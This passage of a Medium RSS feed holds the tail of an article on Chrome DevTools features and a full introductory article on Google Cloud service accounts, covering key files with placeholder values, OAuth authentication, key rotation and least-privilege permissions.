or you can just restart Google Chrome.</p><p>Now that it’s enabled, just go to the<strong> CSS Overview</strong> tab to see the color palette, typography options, media queries even unused declarations.🤯</p><p>This feature is really versatile under various circumstances. It can be used to ensure your teams are aligned with your design system. You might say, we have 5 different teams, and each of them responsible for one project, and they are supposed to follow the same design system. This feature is a fantastic inspection tool for that. You can easily pinpoint the unwanted colors, font sizes, etc.</p><p>It also gives you the option to find the occurrences of that color/font. All you need is to click on it and the element’s class will be present below.</p><h3>5. Getting all styling changes at once 💄️</h3><p>Whenever you want to debug something or just simply trying out things on the browser you just change some stuff on the browser but sometimes it&#39;s too daunting to find &amp; copy everything you just tried.</p><p>I used to ask the question; what and where did I change styling that ended up like this? 🤔️</p><p>There’s a pretty good solution for that.</p><p>In your command menu type <strong>Show Changes</strong></p><p>Whenever you change the styling of an element inside the DOM you’ll see the changes in this tab. There is also an addition to that. If you make a habit to modify styling whilst creating a new class. There will be a new CSS file that you can just export from chrome or simply see all of the changes on a structured file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*fitrxhkC8lJU7HZC.gif" /><figcaption>Example usage of Changes Tab</figcaption></figure><h3>6. Importing Exporting HAR files ️⛩️</h3><p>Sometimes throttling or trying new ways is not enough to find a bug. It may get really ugly super-fast.</p><p>At a point in my career, I had a chance to contribute to a project that supposes to run in China. You may know that some services that “everyone” uses in Europe, North America are not present in China. So our customer came up with a bug. She couldn’t access our web application or it takes so much time that it is not acceptable for us to leave it as it is.</p><p>Here comes the DevTools feature.</p><p>We asked her to <strong>record </strong>network activity and share it with us. She recorded and shared with us and we solved the problem. Apparently, the problem was one of our services is running extremely slow in China. We sorted it out.</p><p>For the sake of readability, I’m going to give you great documentation of Google and you can continue from <a href="https://developer.chrome.com/docs/devtools/network/reference/#export">there</a></p><h3>7. Filtering requests ☕️</h3><p>In my humble opinion, this feature is really subtle but super powerful. In your <strong>Network</strong> tab, you can see there a couple of tab-looking radio buttons that you can select.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*5NxfJZoCXuGVIB6kFc3-Ag.png" /><figcaption>Network Tab</figcaption></figure><p>You can easily filter them and ease your debugging process. Here is a real-life example that I can give you. I used to work on a project with tons of images and I needed to only track the XHR requests for some reason. Needless to say, I only selected XHR requests and I didn’t need to scroll all the time to find the API call I&#39;m looking for. If you know the exact wording you can also filter from the input field.</p><h3>8. Rendering 🕶️</h3><p>This section is as important as it gets. You are highly likely familiar with <a href="https://developers.google.com/web/tools/lighthouse">Google Lighthouse</a>. That’s a fact that it gives you great information about several aspects of your web application but sometimes it might be tricky to fix those problems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*11QFRbS0oK8OOwlm.png" /><figcaption>Lighthouse Example</figcaption></figure><p>As you can see from the above image, several metrics affect the performance score of your application. Finding a starting point to fix those problems can be hard unless you use the <strong>Rendering </strong>tab.</p><p>Open up your command line and type <strong>Rendering</strong>.</p><p>It will open up a tab below and there are several options that you can choose from. Once you select any of them, there will be some changes to your content.</p><p>For example, if you checked the box with the <strong>Core Web Vitals</strong> label. There is a new overlay on your content to show similar scores with <em>Lighthouse.</em></p><p>Another cool one is <strong>Layout Shift Regions. </strong>When you enable this feature all shifting movements will be highlighted. This shifting process can hurt your application&#39;s performance if it’s not well thought.</p><p>These two are not the only useful ones. You should play around with these options like every other section I mentioned🤸️</p><h3>9. Instrument coverage 🎷️</h3><p>I was obsessed with this feature of Chrome when I first focused on the performance of the application that I’m supposed to work on. DevTools can tell you what percentage of your bundle is used and which lines are used which are not. Here is how you do it.</p><p>Open up your command menu and type <strong>Instrument Coverage.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NyxhG9fTOOHDl-IEtOn4LA.png" /><figcaption>Coverage Tab</figcaption></figure><p>A tab with the name <strong>Coverage </strong>should be open. On the bottom, you can see what percentage of your code is used and whatnot. When you double click one of the rows that file will be open with a perfect indicator. If lines are used, it has an indicator that’s used with a blueish color, if not there is a red indicator for those two that are not used. It’s reactive to the changes while you navigate yourself in your application so that it’s not narrowed down to a limited amount of time. This can give you a perfect clue for reducing your bundle size and implementing methods like code splitting and lazy loading.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*A1aHLzwiOzf6Lnatm7nJSw.png" /><figcaption>Example of used/unused code</figcaption></figure><h3>Conclusion</h3><p>I personally believe that knowing the <em>true name </em>of Google Chrome is underestimated. All these things will give you an edge in your career. 💪</p><p>Knowing all these features and having them in your tool belt is a great start to stand out among others. However, like every other area, you have to keep up with the latest updates. The best way to do it is by following the updates from Google. Checking out the latest features of DevTools is not hard but it could make a drastic change to your and your team’s workflow.</p><p><a href="https://developers.google.com/web/updates">https://developers.google.com/web/updates</a></p><h3>Resources</h3><ol><li><a href="https://www.itu.int/en/ITU-D/Statistics/Documents/facts/FactsFigures2020.pdf">https://www.itu.int/en/ITU-D/Statistics/Documents/facts/FactsFigures2020.pdf</a></li><li><a href="https://developers.google.com/web/tools/lighthouse">https://developers.google.com/web/tools/lighthouse</a></li><li><a href="https://developer.chrome.com/docs/devtools/network/reference/#export">https://developer.chrome.com/docs/devtools/network/reference/</a></li></ol><p>Special thanks to <a href="https://www.instagram.com/dinemilieu/">Dinem Kursun</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca18fbf8470c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codeshakeio/9-hidden-features-of-chrome-devtools-ca18fbf8470c">9 Hidden Features of Chrome DevTools</a> was originally published in <a href="https://medium.com/codeshakeio">codeshakeio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introduction to service accounts on Google Cloud Platform]]></title>
            <link>https://medium.com/codeshakeio/introduction-to-service-accounts-on-google-cloud-platform-188e01ebd819?source=rss----945d0b03f0f0---4</link>
            <guid isPermaLink="false">https://medium.com/p/188e01ebd819</guid>
            <category><![CDATA[account-services]]></category>
            <category><![CDATA[identity-management]]></category>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[key-management]]></category>
            <category><![CDATA[authentication]]></category>
            <dc:creator><![CDATA[İpek Karakurt]]></dc:creator>
            <pubDate>Mon, 05 Apr 2021 13:27:56 GMT</pubDate>
            <atom:updated>2021-04-05T13:27:56.123Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*popLGIUJaWpO7fuWAjlArA.jpeg" /><figcaption>Photo by <a href="https://unsplash.com/@franckinjapan?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Franck</a> on <a href="https://unsplash.com/?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></figcaption></figure><h3>Background</h3><p>Imagine that you are a developer working remotely. You have just logged on for the day, with a cup of coffee in hand, and you want to check your email inbox. You enter the username and password for your email account, and if your login credentials are correct, you are granted access to your inbox. By doing so, you have essentially made a request to your email service’s API, and you were authorized with the login credentials that are associated with your user account.</p><p>This process can be applied to a ton of scenarios in today’s web applications. A user account represents a specific individual and user accounts are used to authorize and authenticate users to services. This approach works well enough for humans, but what if you want to authenticate an application to use services on the cloud, particularly Google Cloud services? After all, your application should be able to run API requests on your behalf. In that case, what you need is a <strong>service account</strong>. The following is how GCP documentation describes service accounts, and I think it sums up the concept perfectly:</p><blockquote>A service account is a special type of Google account intended to represent a non-human user that needs to authenticate and be authorized to access data in Google APIs.</blockquote><p>Service accounts are similar to user accounts in that they are identifiable by a unique email address and they are used for making authorized API calls, but there are some crucial characteristics that set the two apart:</p><ol><li>User accounts authorize people, service accounts authorize applications.</li><li>Service accounts do not have passwords. Therefore, it is not possible for someone to log in using a service account via a browser.</li><li>Service accounts are not members of your Google Workspace domain. This means that assets shared with your Google Workspace domain are not shared with service accounts.</li></ol><h3>Authentication and Key Management</h3><p>Since service accounts do not have passwords, you might be wondering how they authenticate to Google. Service accounts are associated with <strong>private/public RSA key-pairs</strong>, and they use this key pair to prove their identity. When a service account is created, the public part of the key pair is stored on Google Cloud and the private part is only available to the creator. The key file associated with a service account includes the private key in the following format:</p><pre>{<br>  &quot;type&quot;: &quot;service_account&quot;,<br>  &quot;project_id&quot;: &quot;project-id&quot;,<br>  &quot;private_key_id&quot;: &quot;key-id&quot;,<br>  &quot;private_key&quot;: &quot;-----BEGIN PRIVATE KEY-----\nprivate-key\n-----END PRIVATE KEY-----\n&quot;,<br>  &quot;client_email&quot;: &quot;service-account-email&quot;,<br>  &quot;client_id&quot;: &quot;client-id&quot;,<br>  &quot;auth_uri&quot;: &quot;https://accounts.google.com/o/oauth2/auth&quot;,<br>  &quot;token_uri&quot;: &quot;https://accounts.google.com/o/oauth2/token&quot;,<br>  &quot;auth_provider_x509_cert_url&quot;: &quot;https://www.googleapis.com/oauth2/v1/certs&quot;,<br>  &quot;client_x509_cert_url&quot;: &quot;https://www.googleapis.com/robot/v1/metadata/x509/service-account-email&quot;<br>}</pre><p>Google Cloud APIs use the OAuth 2.0 protocol for authenticating service accounts. The client ID and the private key associated with a service account are used to create a signed JWT and this JWT is used to request an access token from Google OAuth 2.0 Authorization Server. This token is then used to call Google APIs. When the token expires, this process is repeated.</p><p>Once a service account is created, it needs to be maintained. You can either let Google take care of managing <strong>private/public keys</strong> for you (<em>Google-managed keys</em>) or, if your app is not running on GCP or an environment that supports OIDC and identity federation, you can opt to manage those keys yourself (<em>user-managed keys</em>).</p><p>Keep in mind that if you choose to manage these keys yourself, you will be responsible for the security of the private key and all management operations including periodic rotation. Rotation in this context means creating a new key, updating your application to use the new key, and deleting the old key. This is necessary because if a key is leaked and someone gains access to the leaked key, they will also have access to any resource that particular service account has access to, and this will likely be untraceable.</p><h3>Managing Permissions</h3><p>Service accounts are a very powerful feature of GCP, but in the wise words of Uncle Ben:</p><blockquote>With great power comes great responsibility.</blockquote><p>And configuring your service account’s permissions is your responsibility! On GCP, it is possible to grant different permissions to service accounts just like you can grant permissions to a member on a project. For example, if you want to allow a service account to store objects in a Cloud Storage bucket, you can grant it the Storage Object Creator role (roles/storage.objectCreator). One important thing to note here is that when granting permissions, you should always follow the <a href="https://cloud.google.com/blog/products/identity-security/dont-get-pwned-practicing-the-principle-of-least-privilege">principle of least privilege</a> and only grant a service account the <strong>minimum</strong> set of permissions required to achieve its goal.</p><p>It is also worth noting that GCP users who have the Service Account User role (roles/iam.serviceAccountUser) on a service account can access all the resources that particular service account has access to. So you should be cautious not only when granting permissions to a service account, but also when granting the Service Account User role to a GCP user, since this role indirectly provides access to resources.</p><h3>Conclusion</h3><p>This was a short introduction to what service accounts are and how they should be used. In conclusion, service accounts are used to authorize applications to use Google APIs and services on Google Cloud Platform. The key file for a service account can be used to authenticate as your service account, so necessary precautions should be taken to ensure its security. There are many other nice features of service accounts, such as <a href="https://cloud.google.com/iam/docs/impersonating-service-accounts">impersonation</a> and <a href="https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials">creating short-lived credentials</a> so watch this space for more in-depth articles.</p><p>I hope this introductory post on GCP service accounts was useful to you, and if it was, give us a follow!</p><h4>References</h4><ul><li><a href="https://cloud.google.com/iam/docs/service-accounts">Service accounts | IAM Documentation | Google Cloud</a></li><li><a href="https://cloud.google.com/iam/docs/understanding-service-accounts">Understanding service accounts | IAM Documentation | Google Cloud</a></li><li><a href="https://cloud.google.com/iam/docs/creating-managing-service-account-keys">Creating and managing service account keys | Cloud IAM Documentation</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=188e01ebd819" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codeshakeio/introduction-to-service-accounts-on-google-cloud-platform-188e01ebd819">Introduction to service accounts on Google Cloud Platform</a> was originally published in <a href="https://medium.com/codeshakeio">codeshakeio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>